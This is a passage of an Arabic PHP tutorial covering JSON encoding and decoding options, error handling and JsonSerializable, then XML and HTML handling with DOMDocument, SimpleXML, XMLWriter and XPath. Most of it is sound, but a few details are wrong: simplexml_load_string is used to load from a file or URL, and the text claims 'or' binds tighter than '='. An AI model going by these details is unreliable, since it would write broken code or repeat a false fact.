  4. الدالة json_encode تأخذ المعاملات التالية: المعامل تفاصيل value القيمة المطلوب ترميزها، يمكن أن تكون من أي نوع عدا الموارد ويجب ترميز جميع بيانات السّلاسل UTF-8 النصيّة بصيغة options خيارات على شكل قناع بتي وهي: JSON_HEX_AMP JSON_HEX_APOS JSON_HEX_QUOT JSON_HEX_TAG JSON_NUMERIC_CHECK JSON_PRETTY_PRINT JSON_UNESCAPED_SLASHES JSON_FORCE_OBJECT JSON_PRESERVE_ZERO_FRACTION JSON_UNESCAPED_UNICODE JSON_PARTIAL_OUTPUT_ON_ERROR ويوجد وصف لسلوك هذه الثوابت في صفحة JSON ثوابت‎ depth يحدد العمق الأقصى، ويجب أن يكون أكبر من الصّفر table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } الدالة json_decode فتأخذ المعاملات التالية: المعامل تفاصيل json السلسلة النصية المُراد فك ترميزها بصيغة ‏ فقط UTF-8 تعمل هذه الدّالّة مع سلاسل نصّيّة مُرمَّزة بترميز JSON assoc تُحوَّل الكائنات المُعادة من الدالة إلى مصفوفات ترابطية عندما تكون قيمته TRUE options خيارات لفك ترميز JSON على شكل قناع بتي يوجد خيار واحد مدعوم حاليًا وهو JSON_BIGINT_AS_STRING ويسمح بقلب الأعداد الصحيحة الكبيرة إلى سلاسل نصّيّة بدلًا من أعداد عشرية فك ترميز سلسلة نصية بصيغة JSON تأخذ الدالة json_decode المعامل الأول على شكل سلسلة نصية مرمّزة بصيغة JSON وتحلله إلى متغير PHP، إذا كان كائن JSON هو مصفوفة فهي تعيد كائنًا من ‎\stdClass إذا كان عنصر المستوى الأعلى في الكائن هو قاموس (dictionary) أو مصفوفة مفهرسة، وتعيد قيمًا عددية أو NULL من أجل قيم عددية معينة مثل السلاسل النصية البسيطة "true" و"false" و"null"، وتعيد NULL عند أي خطأ. تعيد الشيفرة التالية كائنًا بما أنّ عنصر المستوى الأعلى في السلسلة النصية بصيغة JSON هو قاموس JSON: $json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}'; $object = json_decode($json_string); printf('Hello %s, You are %s years old.', $object->name, $object->age); // Hello Jeff, You are 20 years old. تعيد الشيفرة التالية مصفوفة بما أنّ عنصر المستوى الأعلى في السلسلة النصية بصيغة JSON هو مصفوفةJSON: $json_string = '["Jeff", 20, true, ["red", "blue"]]'; $array = json_decode($json_string); printf('Hello %s, You are %s years old.', $array[0], $array[1]); يمكنك استخدام الدالة var_dump()‎ للاطلاع على أنواع وقيم كل خاصيّة للكائن الذي فُكَّ ترميزه، فإذا استخدمناها للكائن ‎$object في مثالنا السابق: var_dump($object); يكون الخرج: class stdClass#2 (4) { ["name"] => string(4) "Jeff" ["age"] => int(20) ["active"] => bool(true) ["colors"] => array(2) { [0] => string(3) "red" [1] => string(4) "blue" } } ملاحظة: حُوِّلت أنواع المتغيرات في JSON إلى مكافئاتها في PHP. نقوم بتمرير true معاملًا ثانيًا للدالة json_decode()‎ لإرجاع مصفوفة ترابطية من كائنات JSON بدلًا من إرجاع كائن. مثال: $json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}'; $array = json_decode($json_string, true); var_dump($array); خرج الشيفرة السابقة: array(4) { ["name"] => string(4) "Jeff" ["age"] => int(20) ["active"] => bool(true) ["colors"] => array(2) { [0] => string(3) "red" [1] => string(4) "blue" } } ليس للمعامل الثاني ‎$assoc تأثير إذا كان المتغير الذي سيُرجع ليس كائنًا. ملاحظة: ستفقد التمييز بين مصفوفة فارغة وكائن فارغ إذا كنت تستخدم المعامل ‎$assoc، أي أنّ تنفيذ json_encode()‎ على الخرج المفكوك ترميزه مرةً ثانية سينتج بنية JSON مختلفة. تعيد الدالة json_decode()‎ القيمة NULL إذا كان عمق السلسلة النصية بصيغة JSON أكثر من 512 عنصر (20 عنصر في إصدارات PHP أقدم من 5.2.3 أو 128 في الإصدار 5.2.3) بالتعاود (recursion)، يمكن التحكم بهذا الحد في الإصدار 5.3 وما بعده باستخدام المعامل الثالث ‎$depth كما هو موضح في الدليل الرسمي للغة PHP: تنفذ PHP مجموعة عليا من JSON كما ذُكر في RFC 4627 - سترمّز أيضًا وتفك ترميز الأنواع العددية وNULL، تدعم RFC 4627 فقط هذه القيم عندما تكون متداخلة ضمن مصفوفة أو كائن. بالرغم من أن هذه المجموعة العليا متوافقة مع التعريف الموسع لنص JSON في RFC 7159 الأحدث (الذي يهدف إلى التفوق على RFC 4627) وECMA-404 وهذا قد يسبب مشاكل في قابلية التشغيل المتبادل مع محللات JSON التي تلتزم بدقة بالنوع RFC 4627 عند تشفير قيمة عددية. يعني هذا أنّ السلسلة النصية البسيطة ستعدّ كائن JSON صحيح في PHP مثال: $json = json_decode('"some string"', true); var_dump($json, json_last_error_msg()); الخرج: string(11) "some string" string(8) "No error" لكن السلاسل النصية البسيطة التي ليست في مصفوفة أو كائن ليست جزءًا من معيار RFC 4627، أي أن المتفحصات (checkers) على الإنترنت مثل JSLint وJSON Formatter & Validator التي تعمل بالنمط RFC 4627 ستعطيك خطأً. المعامل الثالث للدالة json_decode()‎ هو ‎$depth يحدد العمق التعاودي (القيمة الافتراضية 512)، أي عدد الكائنات المتداخلة ضمن الكائن الأصلي الذي سيُفَك تشفيره. المعامل الرابع ‎$options يقبل قيمة واحدة حاليًا وهي JSON_BIGINT_AS_STRING، أي أنّ السلوك الافتراضي للدالة (مع عدم وجود هذا المعامل) يحول القيم الصحيحة الكبيرة إلى أعداد عشرية بدلًا من سلاسل نصية. لا تُعدّ المتغيرات غير الصحيحة ذات الأحرف الكبيرة للكلمات true و‏false وnull دخلًا صحيحًا. لدينا المثال التالي: var_dump(json_decode('tRue'), json_last_error_msg()); var_dump(json_decode('tRUe'), json_last_error_msg()); var_dump(json_decode('tRUE'), json_last_error_msg()); var_dump(json_decode('TRUe'), json_last_error_msg()); var_dump(json_decode('TRUE'), json_last_error_msg()); var_dump(json_decode('true'), json_last_error_msg()); الخرج في الإصدار قبل PHP 5.6: bool(true) string(8) "No error" bool(true) string(8) "No error" bool(true) string(8) "No error" bool(true) string(8) "No error" bool(true) string(8) "No error" bool(true) string(8) "No error" أما في الإصدارات اللاحقة: NULL string(12) "Syntax error" NULL string(12) "Syntax error" NULL string(12) "Syntax error" NULL string(12) "Syntax error" NULL string(12) "Syntax error" bool(true) string(8) "No error" ينطبق الأمر أيضًا على false وnull. لاحظ أنّ الدالة json_decode()‎ تُعيد NULL إذا كان من غير الممكن تحويل السلسلة النصية. // غير صحيحة json صيغة $json = "{'name': 'Jeff', 'age': 20 }" ; $person = json_decode($json); // null ملاحظة: محاولة الوصول إلى خاصيّة عنصر ليس كائنًا تُرجع echo $person->name; echo json_last_error(); # 4 (JSON_ERROR_SYNTAX) echo json_last_error_msg(); # unexpected character ليس من الآمن أن نعتمد فقط على القيمة المُرجعة بأن تكون NULL لاكتشاف الأخطاء، فمثلًا إذا كانت السلسلة النصية بصيغة JSON لا تتضمن شيء إلا "null" فإنّ الدالة json_decode()‎ ستُرجع null حتى في حال عدم حدوث أخطاء. ترميز سلسلة نصية بصيغة JSON تحوّل الدالة json_encode مصفوفة PHP (أو كائن ينفذ الواجهة JsonSerializable بدءًا من الإصدار PHP 5.4) إلى سلسلة نصية بترميز صيغة JSON وتعيدها، وفي حال الفشل تعيد FALSE. $array = [ 'name' => 'Jeff', 'age' => 20, 'active' => true, 'colors' => ['red', 'blue'], 'values' => [0=>'foo', 3=>'bar'], ]; تُحوَّل عند الترميز أنواع بيانات PHP (السلاسل النصية والأعداد الصحيحة والقيم المنطقية) إلى مكافئاتها في JSON، وتُرمَّز المصفوفات الترابطية ككائنات JSON وعند الاستدعاء مع الوسطاء الافتراضيين تُرمَّز المصفوفات المفهرسة كمصفوفات JSON، ما لم تكن مفاتيح المصفوفة سلسلة عددية مستمرة تبدأ من الصفر، فعندها ستُرمَّز المصفوفة ككائن JSON. echo json_encode($array); الخرج: {"name":"Jeff","age":20,"active":true,"colors":["red","blue"],"values":{"0":"foo","3":"bar"}} الوسائط بدءًا من الإصدار PHP 5.3 فإنّ المعامل الثاني للدالة json_encode هو قناع بتي والذي يمكن أن يكون واحد أو أكثر من التالي، ويمكن دمجه كما هو الحال مع أي قناع بتي مع العامل الثنائي OR |. الإصدار PHP 5.3 ومابعده JSON_FORCE_OBJECT: يفرض إنشاء كائن بدلًا من مصفوفة. $array = ['Joel', 23, true, ['red', 'blue']]; echo json_encode($array); echo json_encode($array, JSON_FORCE_OBJECT); الخرج: ["Joel",23,true,["red","blue"]] {"0":"Joel","1":23,"2":true,"3":{"0":"red","1":"blue"}} JSON_HEX_TAG، ‏JSONHEXAMP، ‏JSON_HEX_APOS، ‏JSON_HEX_QUOT. تضمن الخيارات السابقة التحويلات التالية عند الترميز: الثابت الدخل الخرج JSON_HEX_TAG < \u003C JSON_HEX_TAG > \u003E JSON_HEX_AMP & \u0026 JSON_HEX_APOS ' \u0027 JSON_HEX_QUOT " \u0022 $array = ["tag"=>"<>", "amp"=>"&", "apos"=>"'", "quot"=>"\""]; echo json_encode($array); echo json_encode($array, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); الخرج: {"tag":"<>","amp":"&","apos":"'","quot":"\""} {"tag":"\u003C\u003E","amp":"\u0026","apos":"\u0027","quot":"\u0022"} الإصدار PHP 5.3 ومابعده JSON_NUMERIC_CHECK: يضمن تحويل السلاسل النصية العددية إلى أعداد صحيحة. $array = ['23452', 23452]; echo json_encode($array); echo json_encode($array, JSON_NUMERIC_CHECK); الخرج: ["23452",23452] [23452,23452] الإصدار PHP 5.4 ومابعده JSON_PRETTY_PRINT: يجعل صيغة JSON مقروءة بسهولة. $array = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4]; echo json_encode($array); echo json_encode($array, JSON_PRETTY_PRINT); الخرج: {"a":1,"b":2,"c":3,"d":4} { "a": 1, "b": 2, "c": 3, "d": 4 } JSON_UNESCAPED_SLASHES: يضمّن هذا الخيار خطوط الهروب المائلة الأمامية / في الخرج: $array = ['filename' => 'example.txt', 'path' => '/full/path/to/file/']; echo json_encode($array); echo json_encode($array, JSON_UNESCAPED_SLASHES); الخرج: {"filename":"example.txt","path":"\/full\/path\/to\/file"} {"filename":"example.txt","path":"/full/path/to/file"} JSON_UNESCAPED_UNICODE: يضمّن محارف بترميز UTF8 في الخرج بدلًا من السلاسل النصية بترميز يونيكود. $blues = ["english"=>"blue", "norwegian"=>"blå", "german"=>"blau"]; echo json_encode($blues); echo json_encode($blues, JSON_UNESCAPED_UNICODE); الخرج: {"english":"blue","norwegian":"bl\u00e5","german":"blau"} {"english":"blue","norwegian":"blå","german":"blau"} الإصدار PHP 5.5 ومابعده JSON_PARTIAL_OUTPUT_ON_ERROR: يسمح بمتابعة الترميز حتى لو وُجدت بعض القيم غير قابلة للترميز. $fp = fopen("foo.txt", "r"); $array = ["file"=>$fp, "name"=>"foo.txt"]; echo json_encode($array); // no output echo json_encode($array, JSON_PARTIAL_OUTPUT_ON_ERROR); الخرج: {"file":null,"name":"foo.txt"} الإصدار PHP 5.6 ومابعده JSON_PRESERVE_ZERO_FRACTION: يضمن ترميز الأعداد العشرية كأعداد عشرية دومًا. $array = [5.0, 5.5]; echo json_encode($array); echo json_encode($array, JSON_PRESERVE_ZERO_FRACTION); الخرج: [5,5.5] [5.0,5.5] الإصدار PHP 7.1 ومابعده JSON_UNESCAPED_LINE_TERMINATORS: عندما يُستخدم مع JSON_UNESCAPED_UNICODE يعود إلى سلوك إصدارات PHP القديمة ولا يتجاوز المحرف الفاصل للأسطر U+2028 والمحرف الفاصل للفقرات U+2029. بالرغم من أن هذه المحارف صحيحة في JSON فهي غير صحيحة في جافاسكربت لذا فقد تغيّر السلوك الافتراضي للخيار JSON_UNESCAPED_UNICODE في الإصدار PHP 7.1. $array = ["line"=>"\xe2\x80\xa8", "paragraph"=>"\xe2\x80\xa9"]; echo json_encode($array, JSON_UNESCAPED_UNICODE); echo json_encode($array, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_LINE_TERMINATORS); الخرج: {"line":"\u2028","paragraph":"\u2029"} {"line":" ","paragraph":" "} تنقيح أخطاء JSON عندما تفشل إحدى الدالتين json_encode أوjson_decode في التحليل إلى السلسلة النصية المطلوبة فإنّها تعيد false، ولا تنشر PHP أي أخطاء أو تحذيرات في هذه الحالة إنما تقع المسؤولية على المستخدم الذي يجب أن يستخدم الدالتين json_last_error()‎ وjson_last_error_msg()‎ للتحقق من حدوث أخطاء ومعالجتها وفق التطبيق (تنقيحها، عرض رسالة خطأ وغير ذلك). يظهر المثال التالي خطأً مشهورًا عند العمل مع JSON وهو الفشل في ترميز/فك ترميز سلسلة نصية بصيغة JSON (بسبب تمرير سلسلة نصية بترميز UTF-8 غير صحيح مثلًا). // غير صحيحة JSON سلسلة نصية بصيغة $jsonString = json_encode("{'Bad JSON':\xB1\x31}"); if (json_last_error() != JSON_ERROR_NONE) { printf("JSON Error: %s", json_last_error_msg()); } // JSON Error: Malformed UTF-8 characters, possibly incorrectly encoded json_last_error_msg تعيد هذه الدالة رسالة مقروءة من قبل الإنسان للخطأ الأخير الذي حدث عند محاولة ترميز/فك ترميز سلسلة نصية. تعيد هذه الدالة دومًا سلسلة نصية حتى لو لم يحدث خطأ والرسالة الافتراضية في حال عدم حدوث خطأ هي No Error، وتعيد false إذا حدث خطأ ما (غير معروف). يجب الحذر عند استخدام هذه الدالة في الحلقات لأنّه سيتم تجاوزها في كل حلقة، ويجب استخدامها فقط للحصول على الرسالة للعرض وليس لاستخدامها في تعليمات التحكم. // لا تكتب هذه الشيفرة // لأن نتيجة الدالة سلسلة نصية true النتيجة دائمًا if (json_last_error_msg()){} // ممارسة سيئة if (json_last_error_msg() != "No Error"){} // (يمكنك كتابة هذا (اختبار العدد الصحيح مع إحدى الثوابت المعرفة مسبقًا‎‏ if (json_last_error() != JSON_ERROR_NONE) { // لعرض رسالة فقط وليس للاختبار json_last_error_msg استخدمنا printf("JSON Error: %s", json_last_error_msg()); } لم تكن هذه الدالة موجودة في الإصدارات السابقة للإصدار PHP 5.5. إليك تنفيذ الترقيع المتعدد (polyfill): if (!function_exists('json_last_error_msg')) { function json_last_error_msg() { static $ERRORS = array( JSON_ERROR_NONE => 'No error', JSON_ERROR_DEPTH => 'Maximum stack depth exceeded', JSON_ERROR_STATE_MISMATCH => 'State mismatch (invalid or malformed JSON)', JSON_ERROR_CTRL_CHAR => 'Control character error, possibly incorrectly encoded', JSON_ERROR_SYNTAX => 'Syntax error', JSON_ERROR_UTF8 => 'Malformed UTF-8 characters, possibly incorrectly encoded' ); $error = json_last_error(); return isset($ERRORS[$error]) ? $ERRORS[$error] : 'Unknown error'; } } json_last_error()‎ تعيد هذه الدالة عددًا صحيحًا مربوطًا بإحدى ثوابت PHP المعرفة مسبقًا. الثابت المعنى JSON_ERROR_NONE لم يحدث أي خطأ JSON_ERROR_DEPTH حدث تجاوز للحد الأقصى لعمق المكدس JSON_ERROR_STATE_MISMATCH صيغة JSON غير صحيحة أو تالفة JSON_ERROR_CTRL_CHAR خطأ محرف التحكم ربما مرمَّز بشكلٍ خاطئ JSON_ERROR_SYNTAX خطأ في الصياغة (منذ الإصدار ‎PHP 5.3.3) JSON_ERROR_UTF8 محارف UTF-8 تالفة ربما مرمَّزة بشكلٍ خاطئ (منذ الإصدار‎‎PHP 5.5.0) JSON_ERROR_RECURSION مرجع تعاودي أو أكثر في القيمة المطلوب ترميزها JSON_ERROR_INF_OR_NAN قيمة غير رقمية أو لا نهائية في القيمة المطلوب ترميزها JSON_ERROR_UNSUPPORTED_TYPE القيمة المُعطاة من نوع لا يمكن ترميزه استخدام الواجهة JsonSerializable في كائن الإصدار PHP 5.4 وما بعده قد تحتاج عند بناء واجهة برمجة التطبيقات REST (‏Representational state transfer) إلى تقليل بيانات كائن ليُمرَّر إلى تطبيق العميل، ولهذا الهدف يوضّح المثال التالي كيفية استخدام الواجهة JsonSerializable. في هذا المثال يوسّع الصنف User كائن DB model من تقنية ORM الافتراضية (تقنية ربط الكائنات بالعلاقات). class User extends Model implements JsonSerializable { public $id; public $name; public $surname; public $username; public $password; public $email; public $date_created; public $date_edit; public $role; public $status; public function jsonSerialize() { return [ 'name' => $this->name, 'surname' => $this->surname, 'username' => $this->username ]; } } نضيف تنفيذ JsonSerializable للصنف بتوفير التابع jsonSerialize()‎. public function jsonSerialize() الآن عند تمرير الكائن User في وحدة تحكم التطبيق (controller) أو السكربت إلى الدالة json_encode()‎ ستحصل على مصفوفة معادة بصيغة JSON للتابع jsonSerialize()‎ بدلًا من الكائن بأكمله. json_encode($User); تعيد الشيفرة السابقة: {"name":"John", "surname":"Doe", "username" : "TestJson"} مثال قيم الخاصيات سيقلل هذا كمية البيانات المُعادة من النقطة النهائية (endpoint) لواجهة برمجة التطبيقات RESTful ويسمح باستبعاد خاصيّات الكائن من تمثيل JSON. استخدام الخاصيّات الخاصة والمحمية مع الدالة json_encode()‎ إذا أردت تجنّب استخدام JsonSerializable فمن الممكن استخدام الخاصيّات الخاصة أو المحمية لإخفاء بيانات الصنف من خرج الدالة json_encode()‎ وعندها لا يحتاج الصنف إلى تنفيذ الواجهة JsonSerializable. ترمّز الدالة json_encode()‎ الخاصيّات العامة فقط من الصنف إلى صيغة JSON. <?php class User { // الخاصيّات الخاصة تُستخدم فقط ضمن هذا الصنف private $id; private $date_created; private $date_edit; // الخاصيّات المستخدمة في الأصناف الموسّعة protected $password; protected $email; protected $role; protected $status; // مشاركة هذه الخاصيّات مع المستخدم النهائي public $name; public $surname; public $username; // هنا jsonSerialize() لا نحتاج لاستخدام } $theUser = new User(); var_dump(json_encode($theUser)); الخرج: string(44) "{"name":null,"surname":null,"username":null}" ترويسة JSON والرد المُعاد نضيف في الشيفرة التالية ترويسة مع نوع المحتوى JSON: <?php $result = array('menu1' => 'home', 'menu2' => 'code php', 'menu3' => 'about'); // json إرجاع الرد بصيغة header('Content-Type: application/json'); // تصريح الترويسة // الترميز echo json_encode($result, true); exit(); الترويسة موجودة لذا يتمكن التطبيق من اكتشاف ما البيانات المُعادة وكيف يجب معالجتها، ولا حظ أنّ ترويسة المحتوى هي فقط معلومات حول نوع البيانات المُعادة. إذا كنت تستخدم UTF-8 يمكنك كتابة: header("Content-Type: application/json;charset=utf-8"); مثال jQuery: $.ajax({ url:'url_your_page_php_that_return_json' }).done(function(data){ console.table('json ',data); console.log('Menu1: ', data.menu1); }); إنشاء ملف XML باستخدام DomDocument نحتاج لإنشاء ملف XML باستخدام الصنف DOMDocument إلى إنشاء كل الوسوم والخاصيّات باستخدام التابعين createElement()‎ وcreateAttribute()‎ اللذين ينشئان بنية XML باستخدام التابع appendChild()‎. يتضمن المثال التالي وسوم وخاصيات وقسم CDATA (‏Character Data) وفضاء اسم مختلف للوسم الثاني: $dom = new DOMDocument('1.0', 'utf-8'); $dom->preserveWhiteSpace = false; $dom->formatOutput = true; // إنشاء الوسوم الأساسية دون القيم $books = $dom->createElement('books'); $book_1 = $dom->createElement('book'); // إنشاء بعض الوسوم مع قيم $name_1 = $dom->createElement('name', 'PHP - An Introduction'); $price_1 = $dom->createElement('price', '$5.95'); $id_1 = $dom->createElement('id', '1'); // إنشاء وإضافة خاصية $attr_1 = $dom->createAttribute('version'); $attr_1->value = '1.0'; // إضافة الخاصية $id_1->appendChild($attr_1); // الثاني بفضاء اسم مختلف book إنشاء $namespace = 'www.example.com/libraryns/1.0'; // books تضمين بادئة فضاء الاسم في الوسم $books->setAttributeNS('http://www.w3.org/2000/xmlns/', 'xmlns:ns', $namespace); $book_2 = $dom->createElementNS($namespace,'ns:book'); $name_2 = $dom->createElementNS($namespace, 'ns:name'); // name أخرى ووضعه ضمن الوسم DOMNode الذي هو نسخة CDATA إنشاء قسم $name_cdata = $dom->createCDATASection('PHP - Advanced'); $name_2->appendChild($name_cdata); $price_2 = $dom->createElementNS($namespace, 'ns:price', '$25.00'); $id_2 = $dom->createElementNS($namespace, 'ns:id', '2'); // XML إنشاء ملف $books->appendChild($book_1); $book_1->appendChild($name_1); $book_1->appendChild($price_1); $book_1->appendChild($id_1); $books->appendChild($book_2); $book_2->appendChild($name_2); $book_2->appendChild($price_2); $book_2->appendChild($id_2); $dom->appendChild($books); // في سلسلة نصية XML ملف saveXML() يعيد التابع print_r ($dom->saveXML()); ستنتج الشيفرة السابقة ملف XML التالي: <?xml version="1.0" encoding="utf-8"?> <books xmlns:ns="www.example.com/libraryns/1.0"> <book> <name>PHP - An Introduction</name> <price>$5.95</price> <id version="1.0">1</id> </book> <ns:book> <ns:name><![CDATA[PHP - Advanced]]></ns:name> <ns:price>$25.00</ns:price> <ns:id>2</ns:id> </ns:book> </books> قراءة ملف XML باستخدام DOMDocument يمكن استخدام الصنف DOMDocument بطريقة مشابهة لاستخدام SimpleXML لتحليل XML من سلسلة نصية أو من ملف XML. من سلسلة نصية: $doc = new DOMDocument(); $doc->loadXML($string); من ملف: $doc = new DOMDocument(); // استخدم مسار الملف الفعلي النسبي أو المطلق $doc->load('books.xml'); مثال عن التحليل: بفرض لدينا صيغة XML التالية: <?xml version="1.0" encoding="UTF-8"?> <books> <book> <name>PHP - An Introduction</name> <price>$5.95</price> <id>1</id> </book> <book> <name>PHP - Advanced</name> <price>$25.00</price> <id>2</id> </book> </books> هذا مثال شيفرة لتحليل الصيغة السابقة: $books = $doc->getElementsByTagName('book'); foreach ($books as $book) { $title = $book->getElementsByTagName('name')->item(0)->nodeValue; $price = $book->getElementsByTagName('price')->item(0)->nodeValue; $id = $book->getElementsByTagName('id')->item(0)->nodeValue; print_r ("The title of the book $id is $title and it costs $price." . "\n"); } سينتج عنها الخرج التالي: The title of the book 1 is PHP - An Introduction and it costs $5.95. The title of the book 2 is PHP - Advanced and it costs $25.00. الاستفادة من XML مع مكتبة SimpleXML في PHP تعد SimpleXML مكتبة قوية تحوّل السلاسل النصية بصيغة XML إلى صيغة سهلة لاستخدام كائن PHP. بفرض لدينا بنية XML التالية: <?xml version="1.0" encoding="UTF-8"?> <document> <book> <bookName>StackOverflow SimpleXML Example</bookName> <bookAuthor>PHP Programmer</bookAuthor> </book> <book> <bookName>Another SimpleXML Example</bookName> <bookAuthor>Stack Overflow Community</bookAuthor> <bookAuthor>PHP Programmer</bookAuthor> <bookAuthor>FooBar</bookAuthor> </book> </document> قراءة بياناتنا في SimpleXML نحتاج بدايةً إلى قراءة بياناتنا في SimpleXML، يمكننا ذلك باستخدام 3 طرق مختلفة. يمكننا أولًا تحميل البيانات من عقدة DOM. $xmlElement = simplexml_import_dom($domNode); الخيار الثاني لدينا هو تحميل البيانات من ملف XML. $xmlElement = simplexml_load_file($filename); أخيرًا يمكننا تحميل البيانات من متغير. $xmlString = '<?xml version="1.0" encoding="UTF-8"?> <document> <book> <bookName>StackOverflow SimpleXML Example</bookName> <bookAuthor>PHP Programmer</bookAuthor> </book> <book> <bookName>Another SimpleXML Example</bookName> <bookAuthor>Stack Overflow Community</bookAuthor> <bookAuthor>PHP Programmer</bookAuthor> <bookAuthor>FooBar</bookAuthor> </book> </document>'; $xmlElement = simplexml_load_string($xmlString); سواء اخترنا التحميل من عنصر DOM أو من ملف أو من سلسلة نصية ستحصل على متغير من الصنف SimpleXMLElement يدعى ‎$xmlElement ويمكننا الآن البدء باستخدام XML في PHP. الوصول إلى بيانات SimpleXML أسهل طريقة للوصول إلى البيانات في عنصر SimpleXMLElement هي استدعاء الخاصيّات مباشرةً، يمكننا الوصول إلى bookName كما يلي: echo $xmlElement->book->bookName; تفترض SimpleXML عند هذه النقطة أننا نريد الكتاب الأول لأننا لم نذكر بشكلٍ صريح أي كتاب نريده، ويمكننا اختيار كتاب غير الكتاب الأول بالطريقة التالية: echo $xmlElement->book[1]->bookName; ويجب ملاحظة أنّ استخدام [0] يكافئ عدم استخدام شيء أي أنّ: $xmlElement->book تعمل نفس عمل: $xmlElement->book[0] تمرير حلقة عبر XML يوجد عدة أسباب لرغبتك في تكرار حلقة عبر XML مثل أن يكون عندك عدد كبير من العناصر، الكتب في مثالنا، تريد عرضه في صفحة ويب، عندها يمكنك استخدام حلقة foreach أوحلقة for المعيارية مستفيدين من إيجابيات دالة SimpleXMLElement للعد. foreach ( $xmlElement->book as $thisBook ) { echo $thisBook->bookName } أو $count = $xmlElement->count(); for ( $i=0; $i<$count; $i++ ) { echo $xmlElement->book[$i]->bookName; } معالجة الأخطاء وصلنا الآن إلى النهاية ومن المهم أن ندرك أننا نخطئ كبشر ومن المحتمل أن نواجه أخطاء خاصةً إذا كنا نتعامل مع ملفات XML مختلفة لذا نريد معالجة هذه الأخطاء. بفرض أننا أنشأنا ملف XML ستلاحظ إذا كان هذا الملف يشبه الملف الذي أنشأناه سابقًا ستكون فيه مشكلة وهي أنّ وسم الإغلاق ‎/doc‎ بدلًا من ‎/document. <?xml version="1.0" encoding="UTF-8"?> <document> <book> <bookName>StackOverflow SimpleXML Example</bookName> <bookAuthor>PHP Programmer</bookAuthor> </book> <book> <bookName>Another SimpleXML Example</bookName> <bookAuthor>Stack Overflow Community</bookAuthor> <bookAuthor>PHP Programmer</bookAuthor> <bookAuthor>FooBar</bookAuthor> </book> </doc> بفرض أننا حمّلناه ضمن شيفرة PHP كمتغير ‎$file. libxml_use_internal_errors(true); $xmlElement = simplexml_load_file($file); if ( $xmlElement === false ) { $errors = libxml_get_errors(); foreach ( $errors as $thisError ) { switch ( $thisError->level ) { case LIBXML_ERR_FATAL: echo "FATAL ERROR: "; break; case LIBXML_ERR_ERROR: echo "Non Fatal Error: "; break; case LIBXML_ERR_WARNING: echo "Warning: "; break; } echo $thisError->code . PHP_EOL . 'Message: ' . $thisError->message . PHP_EOL . 'Line: ' . $thisError->line . PHP_EOL . 'Column: ' . $thisError->column . PHP_EOL . 'File: ' . $thisError->file; } libxml_clear_errors(); } else { echo 'Happy Days'; } ستكون النتيجة: FATAL ERROR: 76 Message: Opening and ending tag mismatch: document line 2 and doc Line: 13 Column: 10 File: filepath/filename.xml لكن بمجرد حل هذه المشكلة سنرى الخرج "Happy Days". إنشاء ملف XML باستخدام الصنف XMLWriter ننشئ نسخة كائن XMLWriter: $xml = new XMLWriter(); ثم نفتح الملف الذي نريد الكتابة فيه فمثلًا إذا أردنا الكتابة في ‎/var/www/example.com/xml/output.xml نكتب: $xml->openUri('file:///var/www/example.com/xml/output.xml'); نكتب الشيفرة التالية للبدء بالملف (إنشاء وسم بداية ملف XML): $xml->startDocument('1.0', 'utf-8'); ستؤدي إلى الخرج: <?xml version="1.0" encoding="UTF-8"?> يمكننا الآن البدء بكتابة العناصر: $xml->writeElement('foo', 'bar'); سينتج XML التالي: <foo>bar</foo> إذا كنت تحتاج شيئًا أكثر تعقيدًا من العقد البسيطة والقيم الواضحة يمكنك أن تبدأ عنصر وتضيف خاصيّات إليه قبل إنهائه: $xml->startElement('foo'); $xml->writeAttribute('bar', 'baz'); $xml->writeCdata('Lorem ipsum'); $xml->endElement(); سينتج الخرج التالي: <foo bar="baz"><![CDATA[Lorem ipsum]]></foo> قراءة ملف XML باستخدام SimpleXML يمكنك تحليل XML من سلسلة نصية أو من ملف XML. من سلسلة نصية: $xml_obj = simplexml_load_string($string); من ملف: $xml_obj = simplexml_load_file('books.xml'); مثال عن التحليل: بفرض لدينا ملف XML التالي: <?xml version="1.0" encoding="UTF-8"?> <books> <book> <name>PHP - An Introduction</name> <price>$5.95</price> <id>1</id> </book> <book> <name>PHP - Advanced</name> <price>$25.00</price> <id>2</id> </book> </books> هذا مثال شيفرة لتحليله: $xml = simplexml_load_string($xml_string); $books = $xml->book; foreach ($books as $book) { $id = $book->id; $title = $book->name; $price = $book->price; print_r ("The title of the book $id is $title and it costs $price." . "\n"); } سينتج عنها الخرج التالي: The title of the book 1 is PHP - An Introduction and it costs $5.95. The title of the book 2 is PHP - Advanced and it costs $25.00. مكتبة SimpleXML تحميل بيانات XML إلى simplexml التحميل من سلسلة نصية نستخدم simplexml_load_string لإنشاء SimpleXMLElement من سلسلة نصية: $xmlString = "<?xml version='1.0' encoding='UTF-8'?>"; $xml = simplexml_load_string($xmlString) or die("Error: Cannot create object"); لاحظ أنّه يجب استخدام or وليس || لأنّ أولوية or أعلى من =، وستُنفَّذ الشيفرة بعد or فقط إذا كانت نتيجة ‎$xml هي false. التحميل من ملف نستخدم simplexml_load_file لتحميل بيانات XML من ملف أو رابط: $xml = simplexml_load_string("filePath.xml"); $xml = simplexml_load_string("https://example.com/doc.xml"); يمكن أن يكون الرابط من أي مخطط تدعمه PHP ?أو مُغلِّف مجرى مخصص. تحليل HTML تحليل HTML من سلسلة نصية تنفّذ PHP محللًا متوافقًا مع DOM المستوى 2 مما يسمح لنا بالعمل مع HTML باستخدام التوابع المعروفة مثل getElementById()‎ أوappendChild()‎. $html = '<html><body><span id="text">Hello, World!</span></body></html>'; $doc = new DOMDocument(); libxml_use_internal_errors(true); $doc->loadHTML($html); echo $doc->getElementById("text")->textContent; الخرج: Hello, World! لاحظ أنّ PHP ستصدر تحذيرات بشأن مشاكل HTML التي قد تحدث، خاصةً إذا كنت تستورد جزء من ملف، لتجنب هذه التحذيرات نخبر مكتبة DOM ‏(libxml) أن تعالج أخطائها قبل استيراد HTML باستدعاء libxml_use_internal_errors()‎، ويمكنك بعدها استخدام libxml_get_errors()‎ لمعالجة الأخطاء عند الحاجة. استخدام XPath $html = '<html><body><span class="text">Hello, World!</span></body></html>'; $doc = new DOMDocument(); $doc->loadHTML($html); $xpath = new DOMXPath($doc); $span = $xpath->query("//span[@class='text']")->item(0); echo $span->textContent; 